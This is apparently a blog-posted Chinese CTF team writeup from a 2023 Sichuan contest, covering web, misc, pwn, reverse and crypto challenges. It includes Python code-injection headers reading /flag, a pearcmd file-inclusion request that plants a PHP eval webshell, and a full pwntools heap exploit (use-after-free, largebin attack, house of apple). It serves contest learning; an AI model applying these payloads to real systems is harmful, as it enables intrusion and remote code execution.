2023年四川网信人才技能大赛初赛-团体赛Writeup

Web

guess

import requests
import random
import string

def hahaha(str):
    random.seed("secret")
    result = ""
    for i in str:
        result = result + chr(ord(i) - int(random.randrange(0, 2)))
    return result
strings = string.ascii_letters + string.punctuation + string.digits
strings = strings.replace('#', '').replace('&', '')
url = "http://web-c6d5b757ef.challenge.xctf.org.cn/readFile?secret="


def req(flag, s):
    for i in strings:
        flag = flag[:s] + i
        a = requests.get(url + flag)
        if 'bingo' in a.text:
            return i


flag = ''
for i in range(0, 50):
    print(hahaha(flag))
    result = req(flag, i)
    flag += result

loginsimulator

image.png
这里的参数可以通过{ }进行注入 上面还判断的是否是127.开通
所以可插入的payload 型式就为127.{1+1}
首先在login界面生产下jwt,从头部拿值

GET /login HTTP/1.1
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
IP: 127.{eval(request.referrer)}
Connection: close

在将setcookie中的jwt放到admin路由下去
image.png
然后即可通过Referer注入数据拿到flag

GET /admin HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: user=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcwMDg4NDE0MywianRpIjoiNTE4ZWYwNGItZGE3YS00OTNmLWJhNjQtMWZmZjc1YTNlZDM4IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6eyJpcCI6IjEyNy57ZXZhbChyZXF1ZXN0LnJlZmVycmVyKX0iLCJ1c2VybmFtZSI6IkNnbmF3VmJTIn0sIm5iZiI6MTcwMDg4NDE0MywiZXhwIjoxNzAwODg1MDQzfQ.RRJLFo_E8quz6oivXroZuMCrRSgiEdC35N7Q5v94FMA
Referer:__import__('os').popen(r'cat /flag').read()
Connection: close

image.png

innp

image.png
猜测这里就是包含点,后缀写死了.php直接pearcmd本地文件包含

/?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[_]);?>+/tmp/mochu7.php

image.png
直接在当前目录下的fFfllaAag_1s_Here/FflLag_831b69012c67b35f找到flag
image.png

Misc

快来签到吧

爆破压缩包,六位,数字和小写字母
image.png
补全PNG文件头
image.png
跑宽高

import binascii
import struct
import sys

file = "flag.png" # 图片地址
fr = open(file,'rb').read()
data = bytearray(fr[0x0c:0x1d])
crc32key = eval('0x'+str(binascii.b2a_hex(fr[0x1d:0x21]))[2:-1])
n = 4095
for w in range(n):
    width = bytearray(struct.pack('>i', w))
    for h in range(n):
        height = bytearray(struct.pack('>i', h))
        for x in range(4):
            data[x+4] = width[x]
            data[x+8] = height[x]
        crc32result = binascii.crc32(data) & 0xffffffff
        if crc32result == crc32key:
            print(width,height)
            newpic = bytearray(fr)
            for x in range(4):
                newpic[x+16] = width[x]
                newpic[x+20] = height[x]
            fw = open(file+'.png','wb')
            fw.write(newpic)
            fw.close
            sys.exit()

image.png
image.png

flag{20c7786a-a098-4a7f-905c-6fb376b4a0f5}

谁动了我的数据库

直接搜flag关键字,没找到,尝试搜flag的base64关键字

http and http contains "Zmx"

image.png
追踪HTTP流量
image.png

PS C:\Users\Administrator\Downloads> php -r "var_dump(base64_decode('ZmxhZ3s5OWE3ZTMxNS1iMmE3LTRhMjUtODhhYy04Y2VkODY1NGNlZTh9'));"
Command line code:1:
string(42) "flag{99a7e315-b2a7-4a25-88ac-8ced8654cee8}"

SoDeep

DG先把虚拟磁盘里面的chall.wavchall.zip提取出来
image.png
chall.wav直接Deepsound
image.png
得到chall.zip解压密码:level1_is_easy
得到level2.mrfflag.zip有喵喵
image.png
Macro Recorder打开,只过滤key pressses键盘输入
image.png
得到flag.zip的密码:1a33e6c5b

flag{2db81db4-bd81-46b9-bc01-1b6a1a211bd9}

Pwn

mm

生成随机数然后加上之前的固定字符串进行md5值,主要是sprintf(target, "%d", src)的用法,不是只填充一位,具体的调试一下就知道了, 至于随机数,因为都是伪随机,用ctypes加载一下就行
image.png
image.png

from pwn import *
from LibcSearcher import *
from ctypes import *
from hashlib import md5
context(arch = 'amd64', os = 'linux', log_level = 'info')	#info

path = "./mm"

def g():
	gdb.attach(p)
	raw_input()

sl = lambda arg : p.sendline(arg)
sla = lambda arg1, arg2 : p.sendlineafter(arg1, arg2)
sd = lambda arg : p.send(arg)
ru = lambda arg : p.recvuntil(arg)
rl = lambda : p.recvline()
sa = lambda arg1, arg2 : p.sendafter(arg1, arg2)
inv = lambda : p.interactive()
	


libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
seed = libc.time(0)
libc.srand(seed)
value = libc.rand() % 9000001 + 1000000
p = remote("pwn-26f57b8ca8.challenge.xctf.org.cn", 9999, ssl=True)

pay = b'Cyb31p3@c3'
pay += str(value).encode()
sla(b'you want....\n', pay)
inv()

gifts

保护全开,漏洞点在free后没有置空,存在UAF,而且show与edit没有对应的判断,可以完美利用UAF

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  __int64 v3; // rax
  unsigned int v4; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  sub_1309();
  while ( 1 )
  {
    while ( 1 )
    {
      sub_1389();
      std::operator<<<std::char_traits<char>>(&std::cout, ">> ");
      std::istream::operator>>(&std::cin, &v4);
      if ( v4 != 4 )
        break;
      sub_1E43();                               // edit(能UAF)
    }
    if ( v4 > 4 )
    {
LABEL_12:
      v3 = std::operator<<<std::char_traits<char>>(&std::cout, "bad choice!!");
      std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
      if ( *par_target > 0x555000000000LL )     // 调用exit得改地址中的值大于
        exit(0);
    }
    else
    {
      switch ( v4 )
      {
        case 3u:
          sub_1A43();                           // show(能UAF)
          break;
        case 1u:
          sub_155A();                           // add
          break;
        case 2u:
          sub_2189();                           // free
          break;
        default:
          goto LABEL_12;
      }
    }
  }
}


#add函数,根据选择的不同,给予不同的分配大小范围
__int64 sub_155A()
{
  __int64 v0; // rax
  __int64 v1; // rax
  __int64 v3; // rax
  __int64 v4; // rax
  __int64 v5; // rax
  __int64 v6; // rax
  unsigned int v7; // [rsp+8h] [rbp-18h]
  int i; // [rsp+Ch] [rbp-14h]
  unsigned int v9; // [rsp+10h] [rbp-10h]
  unsigned int size; // [rsp+14h] [rbp-Ch]
  unsigned int size_4; // [rsp+18h] [rbp-8h]
  unsigned int v12; // [rsp+1Ch] [rbp-4h]

  sub_145C();
  v7 = chunk_number % 48;
  for ( i = chunk_number % 48; i <= 0x2F; ++i )
  {
    if ( v7 <= 0x2F && (free_sign_list[6 * i] == 1 || !free_sign_list[6 * i] && !*&heap_list[6 * i]) )
    {
      v7 = i;
      break;
    }
    v0 = std::operator<<<std::char_traits<char>>(&std::cout, "fill!");
    std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
  }
  v9 = sub_1507();
  if ( v9 == 3 )
  {
    std::operator<<<std::char_traits<char>>(&std::cout, "input size of Gf3:");
    size = sub_1507();
    if ( size > 0x24F && size <= 0x4FF )
    {
      *&heap_list[6 * v7] = calloc(1uLL, size);
      sign_list[6 * v7] = 3;
      free_sign_list[6 * v7] = 0;
      size_list[6 * v7] = size;
      ++chunk_number;
      v4 = std::operator<<<std::char_traits<char>>(&std::cout, "success!");
      return std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
    }
    goto LABEL_25;
  }
  if ( v9 <= 3 )
  {
    if ( v9 == 1 )
    {
      std::operator<<<std::char_traits<char>>(&std::cout, "input size of Gf1:");
      v12 = sub_1507();
      if ( v12 > 0x7F && v12 <= 0x14F )
      {
        *&heap_list[6 * v7] = calloc(1uLL, v12);
        sign_list[6 * v7] = 1;
        free_sign_list[6 * v7] = 0;
        size_list[6 * v7] = v12;
        ++chunk_number;
        v1 = std::operator<<<std::char_traits<char>>(&std::cout, "success!");
        return std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
      }
    }
    else
    {
      if ( v9 != 2 )
        goto LABEL_26;
      std::operator<<<std::char_traits<char>>(&std::cout, "input size of Gf2:");
      size_4 = sub_1507();
      if ( size_4 > 0x14F && size_4 <= 0x24F )
      {
        *&heap_list[6 * v7] = calloc(1uLL, size_4);
        sign_list[6 * v7] = 2;
        free_sign_list[6 * v7] = 0;
        size_list[6 * v7] = size_4;
        ++chunk_number;
        v3 = std::operator<<<std::char_traits<char>>(&std::cout, "success!");
        return std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
      }
    }
LABEL_25:
    v5 = std::operator<<<std::char_traits<char>>(&std::cout, "bad size!");
    return std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
  }
LABEL_26:
  v6 = std::operator<<<std::char_traits<char>>(&std::cout, "bad choice!!");
  return std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
}

程序使用calloc分配,不会从tcache里分配,add中可以分配largebin大小的chunk,所以思路就是利用UAFleaklibcheap, 然后由于想正常退出程序得让par_target中大于目标,由于这个是分配到堆上的,所以利用一次largebin attack改该地址的值为堆地址满足exit的条件,再调用一次largebin attach 进行house of apple攻击

from pwn import *

context(arch='amd64', log_level='info')
path = "./gifts"
p = process(path)
elf = ELF(path)
libc = elf.libc

def g():
	gdb.attach(p)
	raw_input()


ru = lambda arg1 : p.recvuntil(arg1)
sl = lambda arg1 : p.sendline(arg1)
sla = lambda arg1, arg2 : p.sendlineafter(arg1, arg2)
sd = lambda arg : p.send(arg)
sa = lambda arg1, arg2 : p.sendafter(arg1, arg2)
inv = lambda : p.interactive()


def choice(num):
	sla(b'<*   4. SendBlessings *>\n>> ', str(num).encode())


def add(c1, size):
	choice(1)
	sla(b'Gf3~\n', str(c1).encode())
	sla(b':', str(size).encode())


def edit(idx, content):
	choice(4)
	sla(b'input the idx of gift:', str(idx).encode())
	sa(b':', content)


def show(idx):
	choice(3)
	sla(b'input the idx of gift:', str(idx).encode())


def free(idx):
	choice(2)
	sla(b'someone:', str(idx).encode())


#-------------------leak libc, heap and change exit_signed--------------
add(1, 0x80)
add(3, 0x450)
add(1, 0x100)
add(1, 0x80)
add(1, 0x80)
add(3, 0x440)
add(1, 0x80)
add(3, 0x440)
add(1, 0x80)
free(1)
show(1)

libc.address = libc_base = u64(ru(b'\x7f')[-6:].ljust(0x8, b'\x00')) - 0x1ecbe0

log.success('libc_base = ' + hex(libc_base))
free(3)
free(4)
show(4)

ru(b'content:')
heap_base = int.from_bytes(p.recv(6), 'little') - 0x124d0
log.success('heap_base = ' + hex(heap_base))

add(3, 0x460)
free(5)
edit(1, p64(libc_base + 0x1ecfe0) * 2 + p64(heap_base + 0x11f50) + p64(heap_base + 0x11eb0 - 0x20))
add(3, 0x460)

#-----last count is 10
#------------------------------test house of apple------------------------
add(3, 0x440)
free(7)

IO_list_all = libc_base + 0x1ed5a0
edit(1, p64(libc_base + 0x1ecfe0) * 2 + p64(heap_base + 0x11f50) + p64(IO_list_all - 0x20))
add(3, 0x470)

target = heap_base + 0x12cf8	#_IO_save_base
fake_IO_wide_data = heap_base + 0x12ac0 + 0xe0
wfile = libc_base + 0x1e8f60 #_IO_wfile_jumps
_IO_jump_t = heap_base + 0x12ac0 + 0xe0 + 0xe8
_lock = libc_base + 0x1ee7d0
IO_wide_data = libc_base + 0x1ec780

leave_ret = next(libc.search(asm('leave; ret')))
pop2 = libc_base + 0x0000000000025bcb #pop r12; pop r13; ret;
pop_r15 = next(libc.search(asm("pop r15; ret")))
magic_gadget = libc_base + 0x0000000000154d0a
"""
mov rbp, qword ptr [rdi + 0x48]; 
mov rax, qword ptr [rbp + 0x18]; l
ea r13, [rbp + 0x10]; 
mov dword ptr [rbp + 0x10], 0; 
mov rdi, r13; 
call qword ptr [rax + 0x28];
"""
one = [0xe3b2e]

onegadget = p64(0) + p64(pop2) + p64(0)
onegadget += p64(heap_base + 0x12ac0 + 0x268)
onegadget += p64(libc_base + one[0]) + p64(0) * 6
onegadget += p64(leave_ret)

payload = p64(0) * 3 + p64(IO_list_all - 0x20)
payload += p64(0) * 3
payload += p64(target)
payload += p64(0) * 7
payload += p64(_lock)
payload += p64(0) * 2
payload += p64(fake_IO_wide_data)
payload += p64(0) * 6
payload += p64(wfile)
payload += p64(0) * 0x1c
payload += p64(_IO_jump_t)
payload += p64(0) * 0xd
payload += p64(magic_gadget)
payload += onegadget

edit(7, payload)

choice(5)

inv()

image.png

Reverse

re4

除去jnz的花指令后,就是一个tea加密, 没有任何魔改,直接解密就行
image.png

void tea(DWORD *data, const DWORD *key, int rounds1 = 4, int rounds2 = 32, DWORD DELTA = 0x9e3779b9, boolean s = false)
{
    DWORD l, r;
    DWORD sum;

    if (s) {
        for (int j = 0; j < rounds1 * 2; j = j + 2) {
            l = data[j];
            r = data[j + 1];
            sum = 0;
            for (int i = 0; i < rounds2; i++) {
                sum += DELTA;
                l += ((r << 4) + key[0]) ^ (r + sum) ^ ((r >> 5) + key[1]);
                r += ((l << 4) + key[2]) ^ (l + sum) ^ ((l >> 5) + key[3]);
            }
            data[j] = l;
            data[j + 1] = r;
        }
    } else {
        for (int j = 0; j < rounds1 * 2; j = j + 2) {
            l = data[j];
            r = data[j + 1];
            sum = rounds2 * DELTA;
            for (int i = 0; i < rounds2; i++) {
                r -= ((l << 4) + key[2]) ^ (l + sum) ^ ((l >> 5) + key[3]);
                l -= ((r << 4) + key[0]) ^ (r + sum) ^ ((r >> 5) + key[1]);
                sum -= DELTA;
            }
            data[j] = l;
            data[j + 1] = r;
        }
    }
}

int main()
{
	DWORD key[5] = {0xdfe3, 0x113e, 0x5897, 0x3654};
    DWORD enc[] = {0x85A6892D, 0xA177B6BD, 0x89422515, 0x159AE870, 0x5BC09E5D, 0xC13F293E, 0x25B7084F, 0xADB12A4C};
    DWORD DELTA = -0x61C88647;
    tea(enc, key, 4, 32, DELTA, false);
    p(i, 0, 32) {
        printf("%c", ((char*)enc)[i]);
    }
//fcf64fc9cc0e0fe70971fd6fc6fff602
}

bbre

输入后的两个enc对输入内容进行两次base64
image.png
image.png
两次都进行了换表,最后与结果比较,直接转换就行
image.png

    BYTE base641[65] = "0123FGH789JKLNOPQRSTUVopqrabcdefghWXYZijklmnstuvwxyzAB456CDEIM+/";
    BYTE base642[65] = "JKLMNOPQhijklmnorstuvXwABCxyFGHIRabc456defgSTUpqVWYZ01237zDE89-_";

    char target[100] = "F657xQh1FZCWFNzxu5atC4WVu6CsHcO0B5snGAKDs3XlH6sDCMmQGv9wuXfWmu5MBZGtlPCsou0.";
    char res[100] = {0};
    decode_base64(target, base642, res);
    puts("");
//这个arr是上面解出来的,主要是修剪一些解出来的多余的字符
    char arr[100] = "rixhr5s6qpNZNXRfLpNfQz1tbTNupzGuLzdzd3GuOVMZq59Cc7R0fQ==";
    decode_base64(arr, base641, res);

Crypto

小试牛刀

PS C:\Users\Administrator\Downloads> php -r "var_dump(base64_decode('ZmxhZ3tOb18wbmVfZG9lc250XzFvdmVfd2Vla2VuZHN9'));"
Command line code:1:
string(33) "flag{No_0ne_doesnt_1ove_weekends}"

XORR

xor=[1,16, 60, 149, 109, 100, 41, 120, 140, 250, 65, 73, 103, 144, 28, 224, 129, 85, 158, 12, 194, 103, 115, 93, 135, 154, 143, 153, 81, 199, 243, 168, 220, 117, 69, 140, 185, 32, 234, 190, 41, 10]
C=[78, 125, 77, 206, 131, 58, 120, 101, 205, 67, 136, 63, 74, 218, 186, 202, 2, 237, 230, 244, 173, 195, 37, 3, 184, 123, 44, 116, 229, 243, 87, 56, 17, 202, 83, 175, 83, 170, 243, 53, 246, 94]

key= [40]
for i in range(1, len(xor)):
	key.append(xor[i]^xor[i-1])

for i in range(len(key)):
	print(chr(key[i] ^ C[i]), end="")
# flag{3549537d-66c9-fcf1-bf9b-ecceccff39aa}
  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

末 初

谢谢老板!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值